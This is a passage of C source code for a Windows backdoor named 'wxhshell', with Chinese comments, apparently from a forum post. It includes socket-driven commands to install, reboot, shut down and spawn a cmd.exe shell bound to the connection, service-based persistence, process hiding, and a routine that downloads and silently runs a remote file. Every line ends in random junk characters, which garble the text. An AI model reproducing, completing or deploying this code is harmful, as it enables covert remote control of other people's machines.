  case '?': { 2* cKFv{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FnU{C=P  
    break; I "+|cFq.  
  } 62KW HB9S  
  // 安装 >G -?e!  
  case 'i': {  MYW 4@#  
    if(Install()) OYCFx2{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,4?|}xg  
    else hJL0M!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3hpz.ISk  
    break; U#^:f7-$.  
    } I n%yMH8  
  // 卸载 .<|4PG  
  case 'r': { Y$DgL h  
    if(Uninstall()) %#;(]7Zq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^W$qy|  
    else $y |6<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x[,wJzp\6  
    break; H'(o}cn7~  
    } 8`R}L  
  // 显示 wxhshell 所在路径 bKbpI>;[  
  case 'p': { d%|#m)  
    char svExeFile[MAX_PATH]; !D]6Cq  
    strcpy(svExeFile,"\n\r"); d3q/mg5a  
      strcat(svExeFile,ExeFile); 4pHPf<6  
        send(wsh,svExeFile,strlen(svExeFile),0); k?*DBXJv  
    break; =u1w\>(2Y  
    } Ab|NjY:  
  // 重启 XdXS^QA .s  
  case 'b': { .J! $,O@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jjlCi<9CQ^  
    if(Boot(REBOOT)) ;@UX7NA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nJ`a1L{N  
    else { D +%k1  
    closesocket(wsh); InGbV+ I  
    ExitThread(0); yeh adm\  
    } k*+ZLrT  
    break; oXOO 10  
    } 4Og GZ  
  // 关机 in|7ucSlg  
  case 'd': { At_Y$N:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s)ajy^6'M  
    if(Boot(SHUTDOWN)) 1$!K2=%OXj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @9Pn(fd]  
    else { 74N\G1  
    closesocket(wsh); pt;Sk?-1  
    ExitThread(0); #1lS\!  
    } ;eSf4_~  
    break; 761"S@tf$}  
    } )ejqE6'[  
  // 获取shell r}M4()9L  
  case 's': { 9'r3L)[  
    CmdShell(wsh); ;DWp>jgy  
    closesocket(wsh); z Clm'X/  
    ExitThread(0); S:T>oFUot  
    break; n`2"(7Wj  
  } 5 /VB'N#7s  
  // 退出 nylIP */  
  case 'x': { A>,fG9pR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xg)FIaw]eT  
    CloseIt(wsh); w9h5f  
    break; w)c#ZJHG  
    } K>~cY%3^i  
  // 离开 ,#FH8%Yf  
  case 'q': { !ZcA Ltq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); H[yLl v  
    closesocket(wsh); Sgk{NM7|k  
    WSACleanup(); %R5MAs&-5  
    exit(1); -]MP,P%  
    break; tm#y `1-  
        }  JS.' v7  
  } 0-O.*Q^  
  } 2xxwQwg8  
\O4=mJ  
  // 提示信息 s,q!(\{Pv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dfd%A" I  
} B{u.Yc:  
  } F?4'>ZW  
*qOCo_=P8  
  return; ;a77YL TQ  
} &3/H P)*<]  
YLd%"H $n  
// shell模块句柄 `I<|*vW u  
int CmdShell(SOCKET sock) #FM 'S|  
{ E8 )*HOT_T  
STARTUPINFO si; 30-w TcG  
ZeroMemory(&si,sizeof(si)); fxa^SV   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; / 1GZN *I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FAGVpO[  
PROCESS_INFORMATION ProcessInfo; U9OF0=g  
char cmdline[]="cmd"; (G;*B<|A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R-|]GqS}L  
  return 0; FCAu%lvZT  
} AV`7> @  
_ !vbX mb  
// 自身启动模式 T8oASg!  
int StartFromService(void) Za?&\  
{ L{Zy7O]"d  
typedef struct M:M<bz Vu  
{ 0Jif.<  
  DWORD ExitStatus; zW&W`(  
  DWORD PebBaseAddress; ^(B*AE.  
  DWORD AffinityMask; "61n?Z#,M[  
  DWORD BasePriority; sZ$ ~abX  
  ULONG UniqueProcessId; 8=Ht+Br  
  ULONG InheritedFromUniqueProcessId; \OB3gnR  
}   PROCESS_BASIC_INFORMATION; 6g&nnA  
\Ki#"%S  
PROCNTQSIP NtQueryInformationProcess; Y5 pNKL  
{1c eF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (9%%^s]uPT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0:S)2"I58p  
j3F=P  
  HANDLE             hProcess; *mt v[  
  PROCESS_BASIC_INFORMATION pbi; r4zS,J;,  
JC3)G/m(03  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (q7mzZY  
  if(NULL == hInst ) return 0; 9)X<}*(qo  
4\RuJx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )QT+;P.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r}bKVne  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6U]7V  
6<6_W#  
  if (!NtQueryInformationProcess) return 0; iDN,}:<V  
)2hoO_l:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wkw/AZ{27  
  if(!hProcess) return 0; tam/FzVw  
7Kjq1zl;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^5F/=TtE G  
i>}z$'X  
  CloseHandle(hProcess); )I9(WVx!]  
}(6k7{,Gw,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .? / J  
if(hProcess==NULL) return 0; zvj\n9H  
HB:i0m2fJW  
HMODULE hMod; !9NAm?Fw  
char procName[255]; F*H}5yBp_:  
unsigned long cbNeeded; R~([  
C]cw@:o%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :4d7%q  
6;DPGx  
  CloseHandle(hProcess); &n wg$z{Y  
m+ YgfR  
if(strstr(procName,"services")) return 1; // 以服务启动 ]y e &#  
'@P[fSQ  
  return 0; // 注册表启动 Ckp=d  
} @YELqUb*  
p IToy;]  
// 主模块 p,/^x~m3a  
int StartWxhshell(LPSTR lpCmdLine) bHM .&4G  
{ yuB BO:\.  
  SOCKET wsl; C~*m&,@TT^  
BOOL val=TRUE; B*7o\~5  
  int port=0; hFv}JQJw<  
  struct sockaddr_in door; wr(?L7 $+  
,5 ,4Qf7  
  if(wscfg.ws_autoins) Install(); Tc :`TE=2  
AJ mzg  
port=atoi(lpCmdLine); 5[k35 c{  
\;<Y/sg  
if(port<=0) port=wscfg.ws_port; DSp@  
JZ [&:  
  WSADATA data; J^cDa|j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I(SE)%!%S  
|)?T([  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U$}]zaB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w.\:I[  
  door.sin_family = AF_INET; th{h)( +H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vP!gLN]TV  
  door.sin_port = htons(port); OJaU,vQ#  
(XQG"G%U6W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qd&j~cG@  
closesocket(wsl); 5l#)tX.by  
return 1; ewY X\  
} ececN{U/  
"fdG5|NJe  
  if(listen(wsl,2) == INVALID_SOCKET) { {H74`-C)W  
closesocket(wsl); < jF<_j  
return 1; <Coh &g_  
} *0@e_h  
  Wxhshell(wsl); /VQ<}S[k}-  
  WSACleanup(); x,+zw9  
 hT[O5  
return 0; vEkz 5$  
vjb{h'v  
} :Pv{ E  
js j" W&J  
// 以NT服务方式启动 LCt m@oN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ue7~rPdlR  
{ '4iu0ie>D  
DWORD   status = 0; Jx]`!dP3  
  DWORD   specificError = 0xfffffff; U\N`[k.F  
bZ)Jgz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;FU d.vg{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n"JrjvS  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WW.=>]7;  
  serviceStatus.dwWin32ExitCode     = 0; 2rk_ ssvs  
  serviceStatus.dwServiceSpecificExitCode = 0; z3,z&Ra  
  serviceStatus.dwCheckPoint       = 0; %PpB$  
  serviceStatus.dwWaitHint       = 0; %/7`G-a.B  
B^ h!F8DC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P06K0Fxf  
  if (hServiceStatusHandle==0) return; yI!K quMC  
fXN;N&I  
status = GetLastError(); Xs`/q}R  
  if (status!=NO_ERROR) dFlx6H+R!0  
{ YeQX13C"Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &^Io\  
    serviceStatus.dwCheckPoint       = 0; <}evOw2  
    serviceStatus.dwWaitHint       = 0; /T?['#:r-)  
    serviceStatus.dwWin32ExitCode     = status; hikun 2  
    serviceStatus.dwServiceSpecificExitCode = specificError; ji "*=i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OP@PB|  
    return; _<8n]0lX3  
  } \*7Tj-#  
`k+k&t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y(HR1v Q;Z  
  serviceStatus.dwCheckPoint       = 0; q(C+D%xB  
  serviceStatus.dwWaitHint       = 0; ev>: 3_ s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +Fk.B@KT,  
} P)3e^~+A  
BkcOsJIz  
// 处理NT服务事件,比如:启动、停止 nxG vh4'i8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jGt[[s  
{ p&7>G-.  
switch(fdwControl) xk,E A U  
{ MxYCMe4S[  
case SERVICE_CONTROL_STOP: qz 'a.]{=  
  serviceStatus.dwWin32ExitCode = 0; Wl1%BN0>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2axH8ONMu  
  serviceStatus.dwCheckPoint   = 0; c7'Pzb)'  
  serviceStatus.dwWaitHint     = 0; qhogcAvE  
  { E7N1B*KI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fgNEq  
  } D,2,4h!ka  
  return; "|hmiMdGB  
case SERVICE_CONTROL_PAUSE: 2`; 0y M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y!KGJ^.mF  
  break; b3Do{1BV  
case SERVICE_CONTROL_CONTINUE: *@yYqI<1a  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kh27[@s  
  break; PpbW+}aCF  
case SERVICE_CONTROL_INTERROGATE: SkY|.w.   
  break; ? O.&=im_  
};  #/n\C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |XQ!xFB  
} '1d-N[  
P/27+5(|  
// 标准应用程序主函数 !=a8^CV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Es?~Dd  
{ $]O\Ryf6  
:g Ze>  
// 获取操作系统版本 Ih.o;8PpK  
OsIsNt=GetOsVer(); Ji=E 1R  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [;c#LJ/y  
[Ga 9^e$Zv  
  // 从命令行安装 _9<Ko.GVq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3]wV`mD  
c1c0b|B!U  
  // 下载执行文件 x.'O_7c0:  
if(wscfg.ws_downexe) { oYu5]ry  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JMoWA0f  
  WinExec(wscfg.ws_filenam,SW_HIDE); /0zk&g  
} ^K3{6}]  
Q?vGg{>  
if(!OsIsNt) { ifuVVFov  
// 如果时win9x,隐藏进程并且设置为注册表启动 8Y:bvs.j  
HideProc(); C6GYhG]  
StartWxhshell(lpCmdLine); SwQb"  
} TK'(\[E  
else t&ngOF  
  if(StartFromService()) E_FseR6  
  // 以服务方式启动 TN&1C8xr  
  StartServiceCtrlDispatcher(DispatchTable); *NDzU%X8  
else U|,VH-#  
  // 普通方式启动 __)9JF  
  StartWxhshell(lpCmdLine); <MY_{o8d  
x }-rAr  
return 0; gCd9"n-e  
}
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只看该作者 1 发表于: 2006-10-10
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